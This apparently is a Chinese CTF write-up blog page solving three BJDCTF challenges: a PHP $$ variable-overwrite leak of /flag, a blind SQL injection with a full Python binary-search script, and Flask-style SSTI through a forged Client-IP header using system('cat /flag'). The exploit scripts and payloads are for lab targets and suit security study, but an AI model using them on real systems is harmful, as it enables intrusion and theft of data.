[BJDCTF2020]Mark loves cat

源码泄露

使用GitHack.py下载源码

下载之后对源代码进行审计

flag.php代码为:

<?php

$flag = file_get_contents('/flag');

iindex.py里的关键代码为:

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

  观察代码可以看出来是变量覆盖漏洞,代码审计一书中也对变量覆盖漏洞进行过分析

按照常规想要获取到flag,是通过:

echo "the flag is: ".$flag;

  因为包含了flag.php文件,在flag.php文件中包含了网站目录下的flag文件。

但是在这里:

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
} if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
} if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

  可以看到有三个有输出的exit:

exit($handsome);
exit($yds);
exit($is);

找一个最简单的,第二个exit:

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

  只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:

$yds = "dog";

  初始化和exit之间有代码:

foreach($_POST as $x => $y){
$$x = $y;
} foreach($_GET as $x => $y){
$$x = $$y;
}

  我们只要在这段代码中令$yds=$flag,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag。

从下往上逆推,思路要清楚一点。

退出条件是不给flag传值,接着要令$yds=$flag

foreach($_GET as $x => $y){
$$x = $$y;
}

所以我们GET传值

?yds=flag

这样就能达到我们的目的,第一个POST的循环都没有用到。

查看源代码获取flag

[BJDCTF 2nd]简单注入

界面是一个登录框,输入admin/123456

输入一下单引号

存在过滤,扫描发现存在robots.txt文件

继续看hint.txt文件

Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend. select * from users where username='$_POST["username"]' and password='$_POST["password"]';

  显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容

如输入

username=admin\
password=or 1#

  数据库查询语句事实上变成了这样:

select * from users where username='admin\' and password='or 1#';

  这时候的回显变为了:

也就是查询正确的结果和查询错误的结果显示的页面是不一样的,由此编写二分盲注脚本(其实就是在原来的二分盲注脚本基础上改改就行)

不知道为啥,二分脚本里面payload写成这样死活不行:

payload='or/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)

  手动测试的时候or也没有被过滤,脚本里面就出错了,将or换成了^异或符号

payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)

  最后的二分盲注脚本为:

import requests
import time url='http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php'
flag=''
for x in range(1,50):
high=137
low=32
mid=(low+high)//2
while high>low:
payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)
data={
"username":"admin\\",
"password":payload
}
response=requests.post(url,data=data)
if 'P3rh4ps' in response.text:
low=mid+1
else:
high=mid
mid=(high+low)//2
flag+=chr(int(mid))
print flag
#or (ascii(substr((password),1,1))>1)#

  运行之后拿到密码:

使用admin/OhyOuFOuNdit登录即可获取flag

[BJDCTF2020]The mystery of ip

进去之后随便点点,先点hint再点flag

hint页面啥也没有,查看源代码

有一句 Do you know why i knoe your ip?怀疑是需要伪造IP地址

再看flag页面

为啥我IP在加拿大???

burpsuite拦截,client-ip伪造IP为127.0.0.1

成功伪造其为127.0.0.1

发现没有什么其他的提示了,尝试了一下SQL注入,无果

这时候可以注意到网站是使用flask框架搭建的--->>因为前端使用了bootstrap框架组件(还好有一点flask开发基础)

遇到flask框架反应就是SSTI模板注入,题目又是IP的奥秘,伪造IP为:

client-ip: 127.0.0.1/{{1+1}}

  

计算出了1+1之后的值,证明存在SSTI模板注入

继续修改payload:

client-ip: 127.0.0.1/{{system("ls /")}}

根目录下存在flag文件,cat一下即可

client-ip: 127.0.0.1/{{system("cat /flag")}}

  

获取flag

参考链接:

https://www.cnblogs.com/wangtanzhi/p/12318630.html

https://www.cnblogs.com/h3zh1/p/12669345.html

[BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip的更多相关文章

  1. [BJDCTF 2nd]简单注入

    [BJDCTF 2nd]简单注入 hint.txt出现了内容. 大概意思和国赛一道题相同. username处注入\来转义单引号,password处使用sql语句整数型注入. 例如: 传入admin\ ...

  2. [BJDCTF2020]Mark loves cat

    0x00 知识点 GitHack读取源码 $$会导致变量覆盖漏洞 0x01解题 dirsearch扫描一下,发现/.git目录,用githack获取一下源码. <?php include 'fl ...

  3. 刷题[BJDCTF 2nd]简单注入

    解题思路 打开发现登陆框,随机输入一些,发现有waf,然后回显都是同样的字符串.fuzz一波,发现禁了挺多东西的. select union 等 这里猜测是布尔盲注,错误的话显示的是:You konw ...

  4. 刷题[BJDCTF2020]Mark loves cat

    解题思路 打开网页,发现是一个博客,基本寻找博客挂载信息,源码等无果后,扫描后台.发现.git泄露 .git泄露 发现.git泄露后,使用Git Extract这款工具,可自动将源码clone到本地 ...

  5. [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)

    简介  原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January  考察知识点:$$导致的变量覆盖问题  线上平台:https://buuoj.cn( ...

  6. [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此

    [BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...

  7. [BJDCTF2020]Mark loves cat-1|源代码泄露|变量覆盖

    主要考察了:源代码泄露.变量覆盖 共展示了三种获取flag的方式 1.打开题目查看未发现有效信息,查看源代码信息,发现返回的dog信息,结果如下: 2.使用dirmap进行目录扫描,发现了.git/c ...

  8. [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5

    [BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...

  9. [BJDCTF 2nd]fake google

    [BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...

随机推荐

  1. spark内存管理这一篇就够了

    1. 堆内和堆外内存规划 1.1 堆内内存 堆内内存的大小,由 Spark 应用程序启动时的 –executor-memory 或 spark.executor.memory 参数配置.Executo ...

  2. C语言I博客作业3

    这个作业属于哪个课程 <https://edu.cnblogs.com/campus/zswxy/SE2020-1 > 这个作业要求在哪里 https://edu.cnblogs.com/ ...

  3. Netlink 内核实现分析 2

    netlink 应用层如何创建socket 应用层通过socket()系统调用创建Netlink套接字,socket系统调用的第一个参数可以是AF_NETLINK或PF_NETLINK(在Linux系 ...

  4. Go语言内存分配(简述 转)

    在Go语言里,从内存的分配到不再使用后内存的回收等等这些内存管理工作都是由Go在底层完成的.虽然开发者在写代码时不必过度关心内存从分配到回收这个过程,但是Go的内存分配策略里有不少有意思的设计,通过了 ...

  5. 【java从入门到精通】day10-Java流程控制2-switch多选择结构

    1.switch多选择结构 switch case语句判断一个变量与一系列值中某个值是否相等,每个值称为一个分支. switch语句中的变量类型可以是: byte.short.int或者char 从j ...

  6. JS处理Long类型精度丢失问题

    解决方式一 json注解 public class ProductVo {​   @JsonSerialize(using=ToStringSerializer.class)   private Lo ...

  7. 死磕以太坊源码分析之rlpx协议

    死磕以太坊源码分析之rlpx协议 本文主要参考自eth官方文档:rlpx协议 符号 X || Y:表示X和Y的串联 X ^ Y: X和Y按位异或 X[:N]:X的前N个字节 [X, Y, Z, ... ...

  8. Android light系统分析

    光线系统包括:背光,闪光,led指示灯   一.内核层     Led-class.c (kernel-3.10\drivers\leds) 这个文件给HAL层提供接口     led_brightn ...

  9. FL Studio12如何进行图示编辑

    FL Studio在国内被大家 亲切的称为"水果"深受喜爱玩电音的音乐人的追捧,本章节采用图文结合的方式给大家讲解它的FL Studio12是如何进行图示编辑的. 单击图示按钮可以 ...

  10. 不一样的Flink入门教程

    前言 微信搜[Java3y]关注这个朴实无华的男人,点赞关注是对我最大的支持! 文本已收录至我的GitHub:https://github.com/ZhongFuCheng3y/3y,有300多篇原创 ...